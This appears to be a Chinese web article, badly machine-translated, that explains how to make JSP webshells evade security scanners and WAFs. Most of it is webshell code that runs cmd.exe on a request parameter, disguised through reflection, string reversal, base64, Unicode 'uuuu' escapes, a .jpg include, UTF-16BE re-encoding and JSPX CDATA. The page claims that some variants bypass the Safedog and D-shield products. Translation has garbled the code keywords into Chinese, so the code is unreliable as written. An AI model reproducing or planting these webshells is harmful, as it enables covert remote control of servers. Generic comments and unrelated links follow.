高级防御策略:Jsp Webshell 免杀技术解析

更新:11-13 名人轶事 我要投稿 纠错 投诉

%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%

out.print(System.getProperty("os.name").toLowerCase());

String cmd=request.getParameter("cmd");

如果(cmd!=空){

进程p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});

输入流输入=p.getInputStream();

InputStreamReader ins=new InputStreamReader(input, "GBK");

BufferedReader br=new BufferedReader(ins);

输出.print("");

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

输出.print("");

br.close();

ins.close();

输入.close();

p.getOutputStream().close();

}

%这个文件有明显的exec危险代码。

image.png

反射

利用反射避免查杀webshell是常用技术之一。反射的编写过程可以参考Java反射机制学习

%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@页面导入="java.lang.reflect.Method" %%

out.print(System.getProperty("os.name").toLowerCase());

String cmd=request.getParameter("cmd");

如果(cmd!=空){

类clazz=Class.forName("java.lang.Runtime");

构造函数声明的构造函数=clazz.getDeclaredConstructor();

声明的Constructor.setAccessible(true);

对象o=declaredConstructor.newInstance();

方法show=clazz.getDeclaredMethod("exec", String[].class);

String[] cmds=new String[]{"cmd.exe","/c",cmd};

对象调用=show.invoke(o,(Object)cmds);

进程p=(进程)调用;

输入流输入=p.getInputStream();

InputStreamReader ins=new InputStreamReader(input, "GBK");

BufferedReader br=new BufferedReader(ins);

输出.print("");

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

输出.print("");

br.close();

ins.close();

输入.close();

p.getOutputStream().close();

}

%还可以通过base64编码对密钥字符串java.lang.Runtime进行编码。

String a=new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="));

System.out.println(a);或者创建一个方法来反转字符串。

%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%!public static StringverseStr(String str){return new StringBuilder(str).reverse().toString();}% %

out.print(System.getProperty("os.name").toLowerCase());

String cmd=request.getParameter("cmd");

如果(cmd!=空){

类clazz=Class.forName(reverseStr("emitnuR.gnal.avaj"));

构造函数声明的构造函数=clazz.getDeclaredConstructor();

声明的Constructor.setAccessible(true);

对象o=declaredConstructor.newInstance();

方法show=clazz.getDeclaredMethod(reverseStr("cexe"), String[].class);

String[] cmds=new String[]{"cmd.exe","/c",cmd};

对象调用=show.invoke(o,(Object)cmds);

进程p=(进程)调用;

输入流输入=p.getInputStream();

InputStreamReader ins=new InputStreamReader(input, "GBK");

BufferedReader br=new BufferedReader(ins);

输出.print("");

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

输出.print("");

br.close();

ins.close();

输入.close();

p.getOutputStream().close();

}

%image.png

include 指令

Java Web中有一个include指令,可以将外部文件嵌入到当前jsp语句中,同时解析页面的jsp语句。

%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%@ include file="1.jpg" %1.jpg 编写恶意代码。

%

out.print(System.getProperty("os.name").toLowerCase());

String cmd=request.getParameter("cmd");

如果(cmd!=空){

类clazz=Class.forName("java.lang.Runtime");

构造函数声明的构造函数=clazz.getDeclaredConstructor();

声明的Constructor.setAccessible(true);

对象o=declaredConstructor.newInstance();

方法show=clazz.getDeclaredMethod("exec", String[].class);

String[] cmds=new String[]{"cmd.exe","/c",cmd};

对象调用=show.invoke(o,(Object)cmds);

进程p=(进程)调用;

输入流输入=p.getInputStream();

InputStreamReader ins=new InputStreamReader(input, "GBK");

BufferedReader br=new BufferedReader(ins);

输出.print("");

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

输出.print("");

br.close();

ins.close();

输入.close();

p.getOutputStream().close();

}

% access也可以正常执行命令。

image.png 因为安全狗和D-shield主要是检测并查杀Runtime.getRuntime().exec(),所以使用include时可以绕过D-shield,但安全狗无法绕过。当再次使用反射机制时,可以成功绕过。

image.png

编码

Java程序可以自动识别Unicode编码,因此我们可以对除页面指令代码之外的所有java源代码进行编码。

首先,在Internet上寻找一个将字符串转换为Unicode编码的类。

公共无效转换(字符串str){

str=(str==null ? "" : str);

字符串tmp;

StringBuffer sb=new StringBuffer(1000);

字符c;

整数i,j;

sb.setLength(0);

for (i=0; i str.length(); i++) {

c=str.charAt(i);

sb.append("\u");

j=(c 8); //获取高8位

tmp=Integer.toHexString(j);

if (tmp.length()==1)

sb.append("0");

sb.append(tmp);

j=(c0xFF); //取出低8位

tmp=Integer.toHexString(j);

if (tmp.length()==1)

sb.append("0");

sb.append(tmp);

}

System.out.print(new String(sb));

}创建另一个方法,通过读取文本文件来调用convert()方法,对上述命令执行的代码进行编码。

公共无效test2()抛出IOException {

文件srcfile=new File("a.txt");

FileReader fileReader=new FileReader(srcfile);

BufferedReader bufferedReader=new BufferedReader(fileReader);

字符串s;

while ((s=bufferedReader.readLine()) !=null) {

转换;

System.out.print("rn");

}

}运行后会得到Unicode编码的代码,然后声明原来的页面命令。

%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%

u006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u0053u0079u0073u00 74u0065u006du002eu0067u0065u0074u 0050u0072u006fu0070 u0065u0072u0074u0 079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0 077u0065u0072u0043u0061 u0073u0065u0028u0029u0029u003b

064 064 064第0074章u0074u0050u0061u0072u0061u006du0065u0 074u0065u0072u0028u0022u0063u006du0064u0022u0029u003b

u0069u0066u0028u0063u006du0064u0020u0021u003du0020u006eu0075u006cu006cu0029u007b

u0020u0020u0020u0020u0050u0072u006fu0063u0065u0073u0073u0020u0070u0020u003du0020u0020u0052u0075u006eu0 074u0069u006du0065u002e u0067u0065u0074u0052u0075u006eu0074u0069u0065u0028u0029u002eu0 065u0078u0065u0063u0028u006eu0065u 0077u0020u0053u0074 u0072u0069u006eu0067u005bu005du007bu0022u00 63u006du0064u002eu0065u0078u0065u0022u002cu0022u 002fu0063u 0022u002cu0063u006d u0064u007du0029u003b

74u0072u0065u0061u006du0020u0069u006eu0070u0075u 0074u0 020u003du0020 u0070u002eu0067u0065u0074u0049u006eu0070 u0075u0074u0053u0074u0072u0065u0061u006du0028u0029u003b

u0020u0020u0020u0020u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0052u0065u0061u0064u0065u0 072u0020u0069u006eu0073 u0020u003du0020u006eu0065u0077u0020u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0052u0065u0 061u0064u0065u0072u0028 u0069u006eu0070u0075u0074u002cu0020u0022u0047u0042u004bu0022u0029u003b

u0020u0020u0020u0020u0042u0075u0066u0066u0065u0072u0065u0064u0052u0065u0061u0064u0065u0072u0020u0062u0 072u0020u003du0020u006e u0065u0077u0020u0042u0075u0066u0066u0065u0072u0065u0064u0052u0065u0061u0064u0065u0072u0028u0069u006eu0 073u0029u003b

u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072u0069u0 06eu0074u0028u0022u003cu0070u0072u0065u003eu 0022u0029u003b

u0020u0020u0020u0020u0053u0074u0072u0069u006eu0067u0020u006cu0069u006eu0065u003b

28u006cu0069u006eu0065u0020u003du0020u0062u0072u 002eu0 072u0065u0061 u0064u004cu0069u006eu0065u0028u0029u0029u0020u0021u003du0020u006eu0075u006cu006cu0029u0020u007b

u0020u0020u0020u0020u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006eu0028u0 06cu0069u006eu0065u0029 u003b

u0020u0020u0020u0020u007d

u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u0022u003cu002fu0070u0072u0065u0 03eu0022u0029u003b

u0020u0020u0020u0020u0062u0072u002eu0063u006cu006fu0073u0065u0028u0029u003b

u0020u0020u0020u0020u0069u006eu0073u002eu0063u006cu006fu0073u0065u0028u0029u003b

u0020u0020u0020u0020u0069u006eu0070u0075u0074u002eu0063u006cu006fu0073u0065u0028u0029u003b

u0020u0020u0020u0020u0070u002eu0067u0065u0074u004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u0 06du0028u0029u002eu0063 u006cu006fu0073u0065u0028u0029u003b

?

%image.pngD 盾牌仍然可以被查杀,安全狗也可以成功绕过它。

那么Unicode 编码还能做什么呢? Unicode编码的关键点在于以"u"开头表示与unicode编码有关。

"u"可以重复声明,即"uuuuuuu"

%

out.println("uuuuuu006fuuuuuuuuuuuuuuuuuu0075uuu0074");

%对上面的代码稍作调整

sb.append("\uuuuu");再次生成webshell,成功绕过D盾。

image.pngjava还支持其他编码格式

导入夏代

导入编解码器

filename_in="webshell.txt"

filename_out="utf-16be_es.jsp"

使用codecs.open(filename=filename_in, mode="r",encoding="utf-8") 作为fi:

数据=fi.read()

使用open(filename_out, mode="w") 作为fo:

fo.write("%@ 页contentType="charset=utf-16be" %")

fo.write(data.encode("utf-16be"))

fo.close() 例如utf-16be编码方式

image.png

扩展

绕过某些WAF时,WAF可能会检测到jsp标签、客户端传入的参数以及威胁命令。

对应jsp标签%%,可以用它来代替。

无需导入和定义完整的类名。

out.print(System.getProperty("os.name").toLowerCase());

String cmd=request.getParameter("cmd");

如果(cmd!=空){

类clazz=Class.forName("java.lang.Runtime");

java.lang.reflect.Constructor declaredConstructor=clazz.getDeclaredConstructor();

声明的Constructor.setAccessible(true);

对象o=declaredConstructor.newInstance();

java.lang.reflect.Method show=clazz.getDeclaredMethod("exec", String[].class);

String[] cmds=new String[]{"cmd.exe","/c",cmd};

对象调用=show.invoke(o,(Object)cmds);

进程p=(进程)调用;

java.io.InputStream 输入=p.getInputStream();

java.io.InputStreamReader ins=new java.io.InputStreamReader(input, "GBK");

java.io.BufferedReader br=new java.io.BufferedReader(ins);

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

br.close();

ins.close();

输入.close();

p.getOutputStream().close();

}对于参数,先存到session中,然后调用。

request.setAttribute("a",request.getParameter("cmd"));

String cmd=request.getAttribute("a").toString();如果威胁命令可以编码,这里选择ASCII编码进行测试。

对应的服务器代码应该是:

字符串解码=java.net.URLDecoder.decode(cmd.replaceAll("\\x", "%"), "utf-8");

String[] cmds=new String[]{"cmd.exe","/c",decode};此时输入whoami或者十六进制编码都可以%5c%78%37%37% 5c%78%36 %38%5c%78%36%66%5c%78%36%31%5c%78%36%64%5c%78%36%39

可以使用image.png或者base64编码加反转等。

%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" util.Base64" %%@ page import="java.lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%!public static StringverseStr(String str){return new StringBuilder( str).reverse().toString();}%%

out.print(System.getProperty("os.name").toLowerCase());

String bs64=request.getParameter("cmd");

如果(bs64!=空){

String cmd=new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");

类clazz=Class.forName("java.lang.Runtime");

构造函数声明的构造函数=clazz.getDeclaredConstructor();

声明的Constructor.setAccessible(true);

对象o=declaredConstructor.newInstance();

方法show=clazz.getDeclaredMethod("exec", String[].class);

String[] cmds=new String[]{"cmd.exe","/c",cmd};

对象调用=show.invoke(o,(Object)cmds);

进程p=(进程)调用;

输入流输入=p.getInputStream();

InputStreamReader ins=new InputStreamReader(input, "GBK");

BufferedReader br=new BufferedReader(ins);

输出.print("");

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

输出.print("");

br.close();

ins.close();

输入.close();

p.getOutputStream().close();

}

%对应客户端传入的命令,是base64编码后的反转字符串。

image.png

CDATA特性

在XML 元素中, 和是非法的。当遇到时,解析器会将此字符解释为新元素的开头。当遇到时,解析器会将这个字符解释为字符实体编码的开始。

有时我们需要在jspx中添加js代码使用大量and字符,所以我们可以将脚本代码定义为CDATA。

解析器将忽略DATA 部分。

?xml 版本="1.0" 编码="UTF-8"?out.write("123!");

out.print(System.getProperty("os.name").toLowerCase());

String cmd=request.getParameter("cmd");

如果(cmd!=空){

类clazz=Class.forName("java.lang.Runtime");

java.lang.reflect.Constructor declaredConstructor=clazz.getDeclaredConstructor();

声明的Constructor.setAccessible(true);

对象o=declaredConstructor.newInstance();

java.lang.reflect.Method show=clazz.getDeclaredMethod("exec", String[].class);

String[] cmds=new String[]{"cmd.exe","/c",cmd};

对象调用=show.invoke(o,(Object)cmds);

进程p=(进程)调用;

java.io.InputStream 输入=p.getInputStream();

java.io.InputStreamReader ins=new java.io.InputStreamReader(input, "GBK");

java.io.BufferedReader br=new java.io.BufferedReader(ins);

串线;

while((line=br.readLine()) !=null) {

输出.println(行);

}

br.close();

ins.close();

输入.close();

用户评论

她的风骚姿势我学不来

哇这东西听名字就很厉害啊!

    有9位网友表示赞同!

(り。薆情海

我最近在学习web安全,请问这种东西怎么用呢?

    有12位网友表示赞同!

凝残月

免杀的技术到底是如何实现的呢?

    有12位网友表示赞同!

纯真ブ已不复存在

这样子能躲避反webshell检测吗?

    有14位网友表示赞同!

墨染年华

有没有什么相关的教程或文档可以参考?

    有19位网友表示赞同!

情如薄纱

JSP框架真的挺流行的嘛,没想到会有这种功能。

    有15位网友表示赞同!

焚心劫

免杀的技术是不是很高端的?

    有12位网友表示赞同!

酒笙倾凉

这东西听起来有点危险啊,要小心使用哦!

    有6位网友表示赞同!

折木

JSP本身就比较稳定,加上免杀特性,更让人感兴趣了!

    有16位网友表示赞同!

西瓜贩子

不知道这种webshell在实战中有多实用 ?

    有18位网友表示赞同!

面瘫脸

这个研究方向挺热门的,想了解一下最新进展。

    有9位网友表示赞同!

此刻不是了i

会不会有专门针对这种webshell的反检测方法?

    有6位网友表示赞同!

仰望幸福

想要了解更多关于shell注入和bypass防御的技术细节。

    有12位网友表示赞同!

暖栀

这种免杀技术对于非专业用户来说是不是太难操作了?

    有7位网友表示赞同!

安陌醉生

有没有相关的安全团队在研究这种类型的攻击?

    有10位网友表示赞同!

漫长の人生

JSP Webshell的应用范围很广吗?

    有7位网友表示赞同!

各自安好ぃ

学习这些技术的目的是为了成为更专业的web攻防护专家吗?

    有18位网友表示赞同!

拥抱

这类技术也可能被用于合法用途吧,比如测试网站安全漏洞?

    有16位网友表示赞同!

繁华若梦

感觉这种类型的攻击手法会随着技术的不断发展而变得更为复杂!

    有7位网友表示赞同!

拽年很骚

希望学习到的知识能够帮助我更好地保护自己的系统安全!

    有10位网友表示赞同!

【高级防御策略:Jsp Webshell 免杀技术解析】相关文章:

1.动物故事精选:寓教于乐的儿童故事宝库

2.《寓教于乐:精选动物故事助力儿童成长》

3.探索动物旅行的奇幻冒险:专为儿童打造的童话故事

4.《趣味动物刷牙小故事》

5.探索坚韧之旅:小蜗牛的勇敢冒险

6.传统风味烤小猪,美食探索之旅

7.探索奇幻故事:大熊的精彩篇章

8.狮子与猫咪的奇妙邂逅:一场跨界的友谊故事

9.揭秘情感的力量:如何影响我们的生活与决策

10.跨越两岸:探索彼此的独特世界

上一篇:追寻时光的脚步:五年奋斗,找回那逝去的三年 下一篇:《生活大爆炸》第一季精彩回顾:探索科学与生活的碰撞